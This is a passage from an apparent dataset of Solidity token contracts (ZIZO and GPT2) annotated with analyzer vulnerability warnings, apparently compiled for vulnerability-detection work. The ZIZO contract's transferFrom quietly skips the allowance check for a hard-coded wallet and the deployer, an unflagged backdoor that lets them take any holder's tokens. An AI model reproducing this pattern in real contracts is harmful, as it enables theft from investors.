"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ZIZO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: af04afb): ZIZO._bots is never initialized. It is used in ZIZO._transfer(address,address,uint256)\n\t// Recommendation for af04afb: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5f01824): ZIZO._yyWallet should be immutable \n\t// Recommendation for 5f01824: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _yyWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 92e4c27): ZIZO.deployer should be immutable \n\t// Recommendation for 92e4c27: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"ZIZO\";\n\n string private constant _symbol = unicode\"ZIZO\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3097cf): ZIZO._minTaxSwap should be constant \n\t// Recommendation for e3097cf: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 31a56a6): ZIZO._maxTaxSwap should be constant \n\t// Recommendation for 31a56a6: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: c0060f9): ZIZO._initialBuyTax should be constant \n\t// Recommendation for c0060f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1c53a9): ZIZO._initialSellTax should be constant \n\t// Recommendation for a1c53a9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1680dec): ZIZO._finalBuyTax should be constant \n\t// Recommendation for 1680dec: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3dc142): ZIZO._finalSellTax should be constant \n\t// Recommendation for b3dc142: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2de0ab4): ZIZO._reduceBuyAt should be constant \n\t// Recommendation for 2de0ab4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: c0bd516): ZIZO._reduceSellAt should be constant \n\t// Recommendation for c0bd516: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 95ff5fb): ZIZO._preventCount should be constant \n\t// Recommendation for 95ff5fb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n deployer = msg.sender;\n\n _yyWallet = payable(0x48cA1789C7cAF76b1Dc98673dc7f9F34f73dCF93);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_yyWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function init() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2f1ab5c): ZIZO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2f1ab5c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b227853): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b227853: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e26df49): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e26df49: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b227853\n\t\t// reentrancy-benign | ID: e26df49\n _transfer(sender, recipient, amount);\n if (_msgSender() != _yyWallet && _msgSender() != deployer)\n\t\t\t// reentrancy-events | ID: b227853\n\t\t\t// reentrancy-benign | ID: e26df49\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: de7bd8e): ZIZO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for de7bd8e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e26df49\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b227853\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1d9ddbd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1d9ddbd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 86d1706): ZIZO._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 86d1706: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: af04afb): ZIZO._bots is never initialized. It is used in ZIZO._transfer(address,address,uint256)\n\t// Recommendation for af04afb: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 30f3999): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 30f3999: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6c35f1f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6c35f1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxAmount = amount\n .mul((_buyCount > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxAmount = amount\n .mul(\n (_buyCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 86d1706\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1d9ddbd\n\t\t\t\t\t// reentrancy-eth | ID: 30f3999\n\t\t\t\t\t// reentrancy-eth | ID: 6c35f1f\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 1d9ddbd\n\t\t\t\t\t\t// reentrancy-eth | ID: 30f3999\n\t\t\t\t\t\t// reentrancy-eth | ID: 6c35f1f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 1d9ddbd\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 30f3999\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 6c35f1f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 30f3999\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 1d9ddbd\n\t\t\t\t\t// reentrancy-eth | ID: 6c35f1f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 1d9ddbd\n\t\t\t\t\t\t// reentrancy-eth | ID: 6c35f1f\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6c35f1f\n _balances[address(this)] = _balances[address(this)].add(_taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1d9ddbd\n emit Transfer(from, address(this), _taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6c35f1f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6c35f1f\n _balances[to] = _balances[to].add(amount.sub(_taxAmount));\n\n\t\t// reentrancy-events | ID: 1d9ddbd\n emit Transfer(from, to, amount.sub(_taxAmount));\n }\n\n function removeLimits() external onlyOwner {\n _caLimitSell = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1d9ddbd\n\t\t// reentrancy-events | ID: b227853\n\t\t// reentrancy-eth | ID: 30f3999\n\t\t// reentrancy-eth | ID: 6c35f1f\n _yyWallet.transfer(amount);\n }\n\n function withdrawStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1d9ddbd\n\t\t// reentrancy-events | ID: b227853\n\t\t// reentrancy-benign | ID: e26df49\n\t\t// reentrancy-eth | ID: 30f3999\n\t\t// reentrancy-eth | ID: 6c35f1f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8323065): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8323065: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 463176e): ZIZO.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 463176e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7de9d40): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7de9d40: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 8323065\n\t\t// unused-return | ID: 463176e\n\t\t// reentrancy-eth | ID: 7de9d40\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8323065\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7de9d40\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10138.sol",
"size_bytes": 20977,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract GPT2 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec82772): GPT2._taxWallet should be immutable \n\t// Recommendation for ec82772: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f24670): GPT2._initialBuyTax should be constant \n\t// Recommendation for 4f24670: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb02326): GPT2._initialSellTax should be constant \n\t// Recommendation for fb02326: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 331eb40): GPT2._finalBuyTax should be constant \n\t// Recommendation for 331eb40: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3805b8): GPT2._finalSellTax should be constant \n\t// Recommendation for e3805b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dcb3158): GPT2._reduceBuyTaxAt should be constant \n\t// Recommendation for dcb3158: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ef0222): GPT2._reduceSellTaxAt should be constant \n\t// Recommendation for 2ef0222: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: f56bb98): GPT2._preventSwapBefore should be constant \n\t// Recommendation for f56bb98: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GPT2 ChatBot\";\n\n string private constant _symbol = unicode\"GPT2\";\n\n uint256 public _maxTxAmount = 1500000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f756e9): GPT2._taxSwapThreshold should be constant \n\t// Recommendation for 7f756e9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8202e5d): GPT2._maxTaxSwap should be constant \n\t// Recommendation for 8202e5d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1500000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aa28b22): GPT2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aa28b22: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: df7fed4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for df7fed4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 36f336c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 36f336c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: df7fed4\n\t\t// reentrancy-benign | ID: 36f336c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: df7fed4\n\t\t// reentrancy-benign | ID: 36f336c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3715425): GPT2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3715425: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 36f336c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: df7fed4\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b6a7a94): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b6a7a94: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 74c7984): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 74c7984: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a2778d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a2778d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 74c7984\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: b6a7a94\n\t\t\t\t// reentrancy-eth | ID: 9a2778d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b6a7a94\n\t\t\t\t\t// reentrancy-eth | ID: 9a2778d\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9a2778d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b6a7a94\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// 